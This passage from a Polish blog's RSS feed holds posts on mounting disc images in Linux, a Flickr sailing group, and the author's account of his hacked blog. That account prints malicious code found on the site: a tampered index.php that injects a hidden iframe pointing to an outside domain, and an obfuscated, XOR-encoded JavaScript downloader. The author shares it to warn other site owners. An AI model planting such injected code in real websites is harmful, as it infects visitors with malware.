Trzeba jednak pamiętać, że MountManager korzysta z zewnętrznych skryptów żeby zamontować niektóre systemy plików i dlatego musimy się zaopatrzyć w niektóre paczki&#8230;</p>
<p><a rel="lightbox" href="http://blog.brodowski.net.pl/wp-content/pliki/mountmanager2.jpg"><img class="alignnone size-medium wp-image-131" title="mountmanager2" src="http://blog.brodowski.net.pl/wp-content/pliki/mountmanager2-300x86.jpg" alt="Wymagane paczki" width="300" height="86" /></a></p>
<p>Klikamy na &#8222;Mount&#8221; i (teoretycznie) powinno nam wyskoczyć okienko z informacją, że obraz został zamontowany i powinien otworzyć się  nasz menadżer plików w miejscu gdzie obraz został zamontowany.</p>
<p>Kiedyś postaram się napisać więcej o tym programie i jego sporych możliwościach. Macie już dwa ciekawe sposoby na montowanie obrazów płyt pod Linuksem. Na dzisiaj wystarczy.</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F23%2Fmountmanager-proste-montowanie-linux%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/23/mountmanager-proste-montowanie-linux/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/23/mountmanager-proste-montowanie-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Żeglarstwo w Polsce na Flickr.com</title>
		<link>http://blog.brodowski.net.pl/2008/04/15/zeglarstwo-w-polsce-na-flickr-com/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/15/zeglarstwo-w-polsce-na-flickr-com/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 13:56:00 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[żeglarstwo]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[Foto]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=128</guid>
		<description><![CDATA[Na wstępie czym jest Flickr&#8230; Flickr jest to foto-społecznościowy serwis typu web 2.0 który umożliwia swoim użytkownikom umieszczanie fotografii i dzielenie się nimi z całym światem. Ostatnio na Flickerze poszukiwałem grupy związanej z żeglarstwem w Polsce. Jedyne co udało mi się znaleźć to jakieś ściśle wyspecjalizowane grupy umieszczające zdjęcia z mazur itp. A to czego [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float:left;" src="http://www.trackback.it/img/flickr_logo.jpg" alt="Flickr" width="223" height="111" />Na wstępie czym jest Flickr&#8230; Flickr jest to foto-społecznościowy serwis typu web 2.0 który umożliwia swoim użytkownikom umieszczanie fotografii i dzielenie się nimi z całym światem.</p>
<p>Ostatnio na Flickerze poszukiwałem grupy związanej z żeglarstwem w Polsce. Jedyne co udało mi się znaleźć to jakieś ściśle wyspecjalizowane grupy umieszczające zdjęcia z mazur itp. A to czego ja oczekiwałem, to grupa o zasięgu ogólnopolskim bez żadnych podziałów. Niestety nic takiego nie udało mi się znaleźć, więc sam rozwiązałem ten problem. Założyłem tam grupę o nazwie &#8222;<a title="Żeglarstwo w Polsce" href="http://www.flickr.com/groups/zeglarstwo/" target="_blank">Sailing in Poland</a>&#8221; która ma na celu zebrać pasjonatów i entuzjastów żeglarstwa z całej Polski. <span id="more-128"></span>Jeżeli więc zaliczasz się do takiej grupy osób to gorąco zachęcam do <a href="http://www.flickr.com/signup/" target="_blank">zakładania kont na flickr.com</a> i <a title="Join Sailing in Poland flickr group " href="http://www.flickr.com/groups_join.gne?id=680986@N25">dodawania się do grupy</a>. Dzielcie się fotografiami z wszelkiego rodzaju wypraw żeglarskich i wszystkiego co z żeglarstwem związane&#8230;. szanty, koncerty, ogniska&#8230;. Pomóżcie pokazać innym czym jest prawdziwe żeglarstwo&#8230; jego piękno, magię i klimat.</p>
<p>Mam nadzieję, że grupa szybko się rozrośnie i będzie dobrze nam służyła.</p>
<p>Adres naszej grupy to: <a href="http://www.flickr.com/groups/zeglarstwo/">http://www.flickr.com/groups/zeglarstwo/</a></p>
<p>Aby dodać się do grupy <a title="Join Żeglarstwo w Polsce flickr group" href="http://www.flickr.com/groups_join.gne?id=680986@N25" target="_blank">kliknij tutaj</a>. W razie problemów proszę pisać w komentarzu do tego wpisu lub wysłać maila.</p>
<p style="text-align: center;"><a href="http://www.flickr.com/groups/zeglarstwo/"><img class="alignnone size-full wp-image-129" style="border: none;" title="Żagle w Polsce - Fotografia" src="http://blog.brodowski.net.pl/wp-content/pliki/flickr.jpg" alt="Żagle w Polsce - Fotografia" width="450" height="300" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">W celu prostego dodawania zdjęć do Flickr-a proponuję używać specjalnie do tego celu stworzonego programu &#8222;Flickr Uploadr&#8221; który możecie zdobyć <a title="Flickr Uploadr" href="http://www.flickr.com/tools/" target="_blank">tutaj</a></p>
<p style="text-align: left;">Aby dodać zdjęcie otwieracie program a następnie przenosicie i upuszczacie do niego wybrane zdjęcie(a). Klikając na dodane zdjęcie po prawej stronie pokazuje nam się kilka opcji które możemy ustawić:</p>
<p style="text-align: left;"><span style="text-decoration: underline;">Title:</span> Tytuł naszego zdjęcia</p>
<p style="text-align: left;"><span style="text-decoration: underline;">Description:</span> Krótki opis&#8230; np: gdzie i w jakich okolicznościach zdjęcie zostało zrobione</p>
<p style="text-align: left;"><span style="text-decoration: underline;">Tags:</span> tagi, czyli z czym jest powiązane zdjęcie w jednym słowie. Np: żeglowanie szanty</p>
<p style="text-align: left;"><span style="text-decoration: underline;">Add to sets:</span> Flickr pozwala swoim użytkownikom na tworzenie katalogów (setów) ze zdjęciami. Normalny użytkownik może mieć maksymalnie trzy takie foldery w które mają na celu uporządkowanie zdjęć. W tym miejscu możecie wybrać do którego setu chcecie dodać zdjęcie.</p>
<p style="text-align: left;"><span style="text-decoration: underline;">Who can see this photo:</span> Tutaj najprawdopodobniej chcecie opcje &#8222;Anyone&#8221; aby każdy mógł zobaczyć to zdjęcie</p>
<p style="text-align: left;">Następnie klikacie &#8222;Upload photos&#8221; i zdjęcie(a) wędrują na Flickera.</p>
<p style="text-align: left;">
<p style="text-align: left;">Możemy też skorzystać z dodawania bezpośrednio przez flickr-a. Przechodzimy do naszego profilu (www.flickr.com/photos/naszlogin). Na samej górze jest przycisk &#8222;You&#8221;&#8230; klikamy go a następnie z rozwijanej listy wybieramy opcję &#8222;Upload Photos and Videos&#8221;. Zostaniemy przeniesieni do innej strony. Teraz aby dodać zdjęcie klikamy na &#8222;Choose photos&#8221; i wybieramy zdjęcie z dysku komputera.  Ustawiamy opcje &#8222;Public&#8221; i klikamy na &#8222;Upload Photos&#8221;.</p>
<p style="text-align: left;">
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Jak dodać zdjęcie do grupy &#8222;<a title="Żeglarstwo w Polsce" href="http://www.flickr.com/groups/zeglarstwo/" target="_blank">Sailing in Poland</a>&#8222;:</strong></span></p>
<p style="text-align: left;">Aby móc dodać zdjęcie do grupy, muszą być spełnione dwa warunki:</p>
<p style="text-align: left;">1. Musimy być członkiem grupy do której chcemy dodać zdjęcie</p>
<p style="text-align: left;">2. Zdjęcie musi już być na serwerze (wysłane na Flicker-a)</p>
<p style="text-align: left;">Metoda I:</p>
<p style="text-align: left;">Zakładając, że powyższe warunki są spełnione, przechodzimy do <a title="Organizer Zdjęć " href="http://www.flickr.com/photos/organize/" target="_blank">organizera zdjęć.</a></p>
<p style="text-align: left;">Będąc już w naszym organizerze, na samym dole w poziomym pasku widzimy fotografie które wysłaliśmy na serwer. Na samej górze natomiast mamy zakładkę &#8222;Groups&#8221;. Klikamy na nią&#8230;</p>
<p style="text-align: left;">W tym momencie naszym oczom powinien się ukazać prostokąt z logiem i nazwą naszej grupy. Teraz wystarczy tylko przeciągnąć zdjęcie z dolnego paska na logo grupy i zdjęcie zostanie dodane.</p>
<p style="text-align: left;">Metoda II:</p>
<p style="text-align: left;">W naszym profilu (www.flickr.com/photos/naszlogin) klikamy na zdjęcie które chcemy dodać do grupy. Zostaniemy w ten sposób przeniesieni do strony z wybranym zdjęciem. Powyżej zdjęcia znajduje się pasek z ikonami. Klikamy na ikonę &#8222;Send to group&#8221; i wybieramy grupę.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F15%2Fzeglarstwo-w-polsce-na-flickr-com%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/15/zeglarstwo-w-polsce-na-flickr-com/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/15/zeglarstwo-w-polsce-na-flickr-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Google i Stopbadware.org &#8211; Niebezpieczna strona&#8230; (Aktualizacja)</title>
		<link>http://blog.brodowski.net.pl/2008/04/14/google-i-stopbadwareorg-niebezpieczna-strona/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/14/google-i-stopbadwareorg-niebezpieczna-strona/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 19:59:03 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=122</guid>
		<description><![CDATA[Kilka dni temu przez przypadek zauważyłem, że moja strona znalazła się na liście &#8222;podejrzanych&#8221; przez Google i Stopbadware.org&#8230; Oto przykład: Ciekawe&#8230; jest tego więcej&#8230; wystarczy zajrzeć tutaj Okazało się, że kilka stron zostało przez google oznaczone jak powyżej (Ta witryna może wyrządzić szkody na Twoim komputerze). A dokładniej: Powod: Google has found that some portion [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float:left" src="http://republika.pl/blog_lr_365890/589035/tr/skull.png" alt="Skull" width="139" height="118" />Kilka dni temu przez przypadek zauważyłem, że moja strona znalazła się na liście &#8222;podejrzanych&#8221; przez Google i Stopbadware.org&#8230;</p>
<p><span id="more-122"></span>Oto przykład:</p>
<p><img src="http://img155.imageshack.us/img155/4828/bware1fx4.jpg" alt="" width="586" height="194" /></p>
<p>Ciekawe&#8230; jest tego więcej&#8230; wystarczy zajrzeć <a href="http://www.google.pl/search?q=site%3Ablog.brodowski.net.pl&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:pl:official&amp;client=firefox-a" target="_blank">tutaj</a></p>
<p>Okazało się, że kilka stron zostało przez google oznaczone jak powyżej (Ta witryna może wyrządzić szkody na Twoim komputerze).</p>
<p>A dokładniej:</p>
<p><img src="http://img404.imageshack.us/img404/7443/badwarerv5.jpg" alt="" width="512" height="143" /></p>
<p>Powod:</p>
<blockquote><p><strong>Google has found that some portion of blog.brodowski.net.pl/2007/ contains or links to badware or otherwise violates Google&#8217;s software guidelines.</strong></p></blockquote>
<p>Nie powiem, żeby ta sytuacja mnie nie zdenerwowała, gdyż zdenerwowała i to bardzo. Nadpisałem do google i stopbadware a teraz oczekuję na wyjaśnienie zaistniałej sytuacji. Jeden z linków prowadzi do księgi gości co wydaje się być jeszcze większą bzdurą (ktoś coś tam widział?).</p>
<p>Według google przyczyną takiego stanu rzeczy mogą być skrypty modyfikujące przeglądarkę (itp), złośliwe oprogramowanie na stronie lub linki do stron ze złośliwym oprogramowaniem. Pierwsze dwie opcje od razu odpadają gdyż po prostu nic takiego tu nie ma.</p>
<p><strong><span style="text-decoration: underline;">AKTUALIZACJA:</span></strong></p>
<p>Dzisiaj dostałem odpowiedź z stopbadware.org i co się okazało:</p>
<blockquote><p><cite title="Email from stopbadware.org"><br />
According to our review of your website, your site contains a potentially damaging exploit.  For example, the source code for  <a href="http://blog.brodowski.net.pl/2007/" target="_blank">http://blog.brodowski.net.pl/2007/</a><br />
contains the following suspicious code:</cite></p>
<p>&lt;iframe src=&#8221;http://cds5fir.com/ld/dx/&#8221;<br />
; width=100 height=80&gt;&lt;/iframe&gt;</p>
<p>This type of code may allow parties other than yourself to load content onto user&#8217;s computers via your website. In such a case, simply visiting your site would cause users to become infected by malware, spyware, or other badware that is loaded from a remote site. In addition, the party that placed the code on your site could inject additional code onto your site with potentially undesireable consequences.  Even if your site is not currently distributing badware (for example, if the site that the code is pointing to is not currently &#8222;live&#8221;), your site has the potential to become a distributor of badware at any time due to the exploit noted above. Because of this continuing danger, Google will not be removing the warning page for your site at this time.</p>
<p>We strongly recommend removing any code that is currently or has the potential to distribute badware and securing your site against future code injections. Otherwise, it is likely that your website will be hacked again. If your site has been hacked, then simply removing injected code from your site is not enough. You will also need to work with your hosting provider or website administrator to fix all security vulnerabilities associated with your site.</p></blockquote>
<p>Po przeczytaniu tej wiadomości zacząłem grzebać i okazało się, że w kodzie faktycznie znajduje się taka linijka&#8230; Znajdowała się ona na samym końcu kodu co szybko doprowadziło mnie do pliku index.php&#8230;</p>
<p>Plik, który oryginalnie wygląda tak:</p>
<pre class="brush: php; title: ;">
&lt; ?
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?&gt;
</pre>
<p>Teraz wyglądał tak:</p>
<pre class="brush: php; title: ;">
&lt; ?
ob_start(&quot;phpfake&quot;);

/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?&gt;
&lt; ?
function phpfake($buffer)
{
$Exp='&lt;div style=&quot;visibility:hidden&quot;&gt;&lt;iframe src=&quot;http://cds5fir.com/ld/dx/&quot; width=100 height=80&gt;&lt;/iframe&gt;';
return (ereg_replace(&quot;&quot;, &quot;$Exp&quot;, $buffer));
}
?&gt;
</pre>
<p>Drążąc temat dalej udało mi się ustalić, że nie jest to wina żadnego skryptu na serwerze (który dopuściłby atak tego typu), a najprawdopodobniej jest to wina trojana który zgarnął z któregoś komputera hasło do ftp-a i zmiany zostały wykonane właśnie z tego poziomu.</p>
<p>Jeżeli więc macie taki problem to jak najszybciej pozmieniajcie hasła do ftp-a (po oczyszczeniu plików) i zeskanujcie komputery które mogą gdzieś przechowywać wasze hasła.</p>
<p>Już wysłałem informacje do stopbadware i teraz czekam na zdjęcie mojego bloga z &#8222;czarnej listy&#8221;.</p>
<p><span style="text-decoration: underline;"><strong>AKTUALIZACJA&#8230; kolejna.</strong></span></p>
<p>Po dalszych poszukiwaniach najprawdopodobniej (99%) udało mi się znaleźć winnego tego zamieszania&#8230;</p>
<p>A naszym bohaterem jest: ADODB.Exploit.Gen</p>
<p>znany też jako: Trojan-Downloader.VBS.Psyme.ij (Kaspersky), VBS/Psyme (McAfee), Downloader (Symantec), HTML/ADODB.Exploit.Gen (Avira), Mal/Psyme-A (Sophos), VBS_PSYME.ABZ/</p>
<p>Data odkrycia: 18/07/2007<br />
Typ: Exploit<br />
Na wolności: Tak<br />
Raportowanych infekcji: Mało<br />
Potencjalna dystrybucja: Mała<br />
Niszczący potencjał: Mały</p>
<p>Wirus ten jest odpowiedzialny za wykonywanie takiego kodu:</p>
<pre class="brush: jscript; title: ;">
&lt;script language=&quot;JavaScript&quot;&gt;e = '0x00' + '6E';str1 = &quot;%D5%8D%86%9B%F1%9C%9D%96%85%8A%D2%CF%9B%86%9C%86%8F%86%85%86%9D%96%D7%89%86%8D%8D%8A%83%CF%D3%D5%86%8B%9F%8E%82%8A%F1%9C%9F%8C%D2%CF%89%9D%9D%81%D7%C0%C0%96%8A%84%9D%8C%83%9D%C3%86%83%8B%80%C0%85%8D%C0%88%9A%8C%C0%CF%F1%98%86%8D%9D%89%D2%DE%F1%89%8A%86%88%89%9D%D2%DE%D3%D5%C0%86%8B%9F%8E%82%8A%D3%D5%C0%8D%86%9B%D3&quot;;str=tmp='';for(i=0;i&lt;str1 .length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);&lt;/script&gt;
</pre>
<p>Analizując&#8230;</p>
<p><a href="http://stack.dataghost.com/phpfake.png" rel="lightbox" title="phpfake"><img src="http://stack.dataghost.com/phpfake.png" width="423" height="180" alt="phpfake" /></a></p>
<p>Większość antywirusów ma tego trojana w swojej bazie danych, także ryzyko infekcji jest dość małe. Jeżeli chodzi o Linuksa to ryzyko zarażenia jest teoretycznie żadne, gdyż virus jest dedykowany systemowi MS. Jednakże zawsze warto podjąć środki bezpieczeństwa.<br />
W moim przypadku najprawdopodobniej zainfekowany został komputer któregoś znajomego, który też korzysta z mojego serwera i używa Windowsa. Trojan ładnie zeskanował sobie wszystkie katalogi i zmienił zawartość każdego napotkanego pliku index.php. Na wszelki wypadek nie zaszkodzi sobie sprawdzić, czy zawartość waszego index.php jest prawidłowa.</str1></script></p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F14%2Fgoogle-i-stopbadwareorg-niebezpieczna-strona%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/14/google-i-stopbadwareorg-niebezpieczna-strona/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/14/google-i-stopbadwareorg-niebezpieczna-strona/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Montowanie obrazów płyt w Linuksie (CDemu)</title>
		<link>http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 15:31:31 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[tips & tricks]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=123</guid>
		<description><![CDATA[Większość z Was pewnie zna takie programy jak Windowsowy Deamon-tools lub podobne programy na system MS. Kiedy mamy do czynienia z obrazami płyt których nie chcemy wypalać, ale za to chcemy się do nich &#8222;dobrać&#8221; programy tego typu potrafią działać cuda&#8230; jedno kliknięcie i mamy zamontowany obraz płyty który zachowuje się jakby był włożony do [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float:left" src="http://us.123rf.com/168nwm/kasia75/kasia750608/kasia75060800115.jpg" alt="Qemu" width="168" height="135" />Większość z Was pewnie zna takie programy jak Windowsowy Deamon-tools lub podobne programy na system MS. Kiedy mamy do czynienia z obrazami płyt których nie chcemy wypalać, ale za to chcemy się do nich &#8222;dobrać&#8221; programy tego typu potrafią działać cuda&#8230; jedno kliknięcie i mamy zamontowany obraz płyty który zachowuje się jakby był włożony do napędu optycznego. Przydało by się coś podobnego pod Linuksa, gdyż nie każdy wie jak zamontować obraz. Poza tym montowanie z loopem ma jedną dużą wadę &#8211; nie umie montować innych obrazów CD niż ISO&#8230;</p>
<p><span id="more-123"></span></p>
<p>Oczywiście można się bawić w konwertowanie obrazów płyt do ISO za pomocą takich narzędzi jak:</p>
<p><code>ccd2iso</code> &#8211; konwertuje nam obraz z rozszerzeniem ccd (np: pliki .img programu Clone cd) do ISO.</p>
<p><code>nrg2iso</code> &#8211; do konwertowania obrazów Nero</p>
<p><code>mdf2iso</code> &#8211; do konwertowania plików Alkohola.</p>
<p><code>cdi2iso</code> &#8211; format DiscJuggler-a do ISO.</p>
<p>Nawet nie jest to takie trudne&#8230; wystarczy prosta komenda:</p>
<p><code>nrg2iso bazowyplik.nrg wyjściowyplik.iso</code></p>
<p>komenda ta spowoduje przekonwertowanie  pliku do  ISO i problem z głowy&#8230; można teraz bez problemu zamontować taki plik w dowolnym miejscu&#8230; np:</p>
<p><code>sudo mount -o loop -t iso9660 /sciezka/fajnyfilm.iso /mnt/cdrom</code></p>
<p>w przypadku plików typu nrg (obrazy programu Nero) możemy użyć następującej komendy w celu zamontowania takiego obrazu:</p>
<p><code>sudo mount -o loop,offset=307200 fajnyprogram.nrg /mnt/cdrom</code></p>
<p>Aby od montować obraz użyjemy komendy</p>
<p><code>sudo umount /mnt/cdrom</code></p>
<p>Na uparte i nie chcące się od montować obrazy plików użyjemy tajnej broni jaką jest parametr -l (Lazy unmount)</p>
<p><code>sudo umount -l /mnt/cdrom</code></p>
<p>Spowoduje to natychmiastowe odmontowanie obrazu płyty z późniejszym czyszczeniem odwołań (jak już nie będą zajęte). Czasami powodem niemożliwości od montowania w tradycyjny sposób obrazu płyty z katalogu jest np: otwarte okno przeglądarki plików w katalogu gdzie zamontowana jest płyta</p>
<p>Polecam też lekturę mojego wpisu o <a href="http://blog.brodowski.net.pl/2007/11/08/bashowe-aliasy/">aliasach w bashu</a>&#8230; w łatwy sposób możemy sobie uprościć życie z takimi komendami tworząc przykładowy alias:</p>
<p><code>alias mountiso='sudo mount -o loop -t iso9660'</code></p>
<p>lub</p>
<p><code>alias mountnrg='sudo mount -o loop,offset=307200'</code></p>
<p>teraz (po otwarciu nowego terminalu bądź zresetowaniu komputera) wystarczy wpisać:</p>
<p><code>mountiso &lt;plik&gt; &lt;ścieżka do montowania&gt;</code> i mamy podmontowany obraz&#8230;</p>
<p>np: <code>mountiso fajnyprogram.iso /mnt/cdrom</code></p>
<p>spowoduje to zamontowanie naszego obrazu w katalogu /mnt/cdrom</p>
<p>ale&#8230;</p>
<p>jest też inna droga&#8230;</p>
<p>A nazywa się: <strong>CdEmu</strong></p>
<p><img style="float:left" src="http://cdemu.sourceforge.net/images/cdemu-xmas.png" alt="Qemu" width="180" height="180" /></p>
<p>CdEmu jest emulatorem virtualnych napędów działający pod kontrolą systemu Linux. Taki Linuksowy odpowiednik daemon tools-a.</p>
<p>Aby go uruchomić będą nam potrzebne następujące paczki: &#8222;libmirage&#8221;, &#8222;vhba-module&#8221;, &#8222;cdemu-daemon&#8221; i &#8222;cdemu-client&#8221;</p>
<p><code>sudo apt-get install libmirage vhba-module cdemu-daemon cdemu-client</code></p>
<p>Ewentualnie paczki dla Ubuntu i Debianowatych (a także innych dystrybucji) możemy znaleźć <a rel="nofollow" href="http://sourceforge.net/project/showfiles.php?group_id=93175">tu na SF.</a></p>
<p>(w razie problemów z pakietami z repozytoriów spróbujcie użyć tych: <a rel="nofollow" href="http://www.kabelkaos.net/cdemu/ubuntu/ubuntu-7.10-i386/" class="broken_link">http://www.kabelkaos.net/cdemu/ubuntu/ubuntu-7.10-i386/</a> (dla Ubuntu 7.10))</p>
<p>Fajnie&#8230; zakładam, że już zainstalowaliście, także lecimy dalej&#8230;</p>
<p>Kilka kroków zanim będziemy mogli nacieszyć się możliwościami tego skryptu:</p>
<p>1. Trzeba dodać demona cdemu do init&#8217;a aby się samoczynnie uruchamiał przy rozruchu systemu:</p>
<p>Użytkownicy (*)ubuntu mają już potrzebne skrypty startowe, dlatego uruchamiamy je komendą:</p>
<p><code>sudo /etc/init.d/cdemu-daemon start</code></p>
<p>aby dodać na stałe:</p>
<p>instalujemy pakiet &#8222;bum&#8221; (graphical runlevel editor), uruchamiamy go i zaznaczamy &#8222;ptaszka&#8221; (aktywujemy) przy cdemu-daemon. Swoją drogą ten &#8222;bum&#8221; to naprawdę fajne narzędzie.</p>
<p>albo:</p>
<p><code>sudo update-rc.d -f cdemu-daemon defaults</code></p>
<p>2. Następnie dodajemy następującą linijkę do fstab-a</p>
<pre><code>/dev/scd0  /media/cdemu0      auto  ro,users,noauto,nosuid,unhide,iocharset=iso8859-2 0 0</code></pre>
<p>(sudo nano /etc/fstab)</p>
<p>Już pewnie podejrzewacie, gdzie będą się montowały nasze obrazy <img src='http://blog.brodowski.net.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Stwórzmy zatem odpowiedni punkt montowania:</p>
<p><span style="font-family: arial,sans-serif;"><span style="font-family: courier new,monospace;"><code>sudo mkdir /media/cdemu0</code></span></span></p>
<p>3. W zasadzie to nie ma już tego punktu&#8230; konfigurację skończyliśmy. Teraz zostaje nam zabawa cdemu.</p>
<p><cite></cite></p>
<p><cite></cite></p>
<p style="padding-left: 30px;"><strong>load &lt;device&gt; &lt;filename&gt; [...]</strong><br />
Load the device; device is the number of the device that should be loaded.  filename  is<br />
the image filename. For multi-file images, multiple filenames can be provided.</p>
<p style="padding-left: 30px;"><strong>unload &lt;device&gt;</strong><br />
Unload the device; device is the number of the device that should be unloaded.</p>
<p style="padding-left: 30px;"><strong>status</strong> Display devices&#8217; status</p>
<p>To był krótki wyciąg z manuala&#8230;</p>
<p><code>cdemu load 0 nazwapliku</code></p>
<p>np:</p>
<p><code>cdemu load 0 fajnyprogram.iso</code></p>
<p>W razie problemów takich jak:</p>
<p style="padding-left: 30px;">ERROR: Failed to connect to CDEmu daemon: org.freedesktop.DBus.Error.ServiceUnknown: The name net.sf.cdemu.CDEMUD_Daemon was not provided by any .service files<br />
ERROR: Failed to connect to daemon!</p>
<p>użyjcie parametru &#8222;-b system&#8221; (systemowy D-BUS)</p>
<p><code>cdemu -b system load 0 fajnyprogram.iso</code></p>
<p>Analogicznie, żeby odmontować napęd użyjemy komendy</p>
<p><code>cdemu -b system unload 0</code></p>
<p>Ot cała filozofia. Wszystko powinno działać. Koniec z gimnastykowaniem się aby cokolwiek zamontować.</p>
<p>Teraz w łatwy sposób możemy montować takie formaty plików jak:</p>
<p>b5t, b6t, ccd, cdi, cue, iso, img, mdx, xmd, nrg, toc, bin</p>
<p>Ale to nie koniec magii jaką funduje nam CDEmu.</p>
<p>W wielu emulatorach tego typu dostępnych pod Windowsa możecie sobie ustawić ilość napędów jaką chcecie emulować. Pod tym względem CDEmu wcale nie jest gorszy.</p>
<p>Aby na stałe ustawić większą (inną) ilość napędów edytujemy plik /etc/default/cdemu-daemon</p>
<p><code>sudo nano /etc/default/cdemu-daemon</code></p>
<p>i zmieniamy wartość w linijce &#8222;# Number of devices&#8221; wybierając ilość napędów. Jednak odradzam ustawianie tej wartości powyżej trzech, gdyż mogą występować problemy</p>
<p>teraz w komendzie <code>cdemu -b system load 0 fajnyprogram.iso</code> zamiast &#8222;0&#8243; możemy wybrać pod który napęd chcemy zamontować plik.</p>
<p>Aby sprawdzić co i gdzie mamy zamontowane:</p>
<p><code>cdemu -b system status</code></p>
<p>Jeszcze raz zachęcam do ułatwiania sobie życia aliasami&#8230; przykładowe aliasy jakie możemy sobie ustawić:</p>
<p><code>alias cdemumount='cdemu -b system load 0'</code></p>
<p><code>alias cdemuumount='cdemu -b system unload 0'</code></p>
<p>Mam nadzieję, że powyższy poradnik się przyda.</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F11%2Fmontowanie-obrazow-plyt-w-linuksie-cdemu%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Qnapi, czyli NapiProjekt po Linuksowemu</title>
		<link>http://blog.brodowski.net.pl/2008/04/09/qnapi-czyli-napiprojekt-po-linuksowemu/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/09/qnapi-czyli-napiprojekt-po-linuksowemu/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 07:45:20 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[filmy]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=121</guid>
		<description><![CDATA[QNapi &#8211; program o funkcjonalności zbliżonej do oryginalnego windowsowego klienta NapiProjektu, napisany z myślą o użytkownikach Linuksa oraz innych systemów operacyjnych, pod które oryginalny NAPI-PROJEKT nie jest dostępny. Program potrafi również m.in. dodawać napisy do bazy oraz zgłaszać niepasujące. Moim zdaniem jedną z najciekawszych możliwości programu jest automatyczne skanowanie katalogów i pobieranie napisów, ale każdy [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float: left" title="Qnapi " src="http://img80.imageshack.us/img80/4862/qnapikn1.jpg" alt="Qnapi - Napi-projekt dla linuksa" width="124" height="146" /><a href="http://krzemin.iglu.cz/?page_id=29">QNapi</a> &#8211; program o funkcjonalności zbliżonej do oryginalnego windowsowego klienta NapiProjektu, napisany z myślą o użytkownikach Linuksa oraz innych systemów operacyjnych, pod które oryginalny NAPI-PROJEKT nie jest dostępny. Program potrafi również m.in. dodawać napisy do bazy oraz zgłaszać niepasujące.</p>
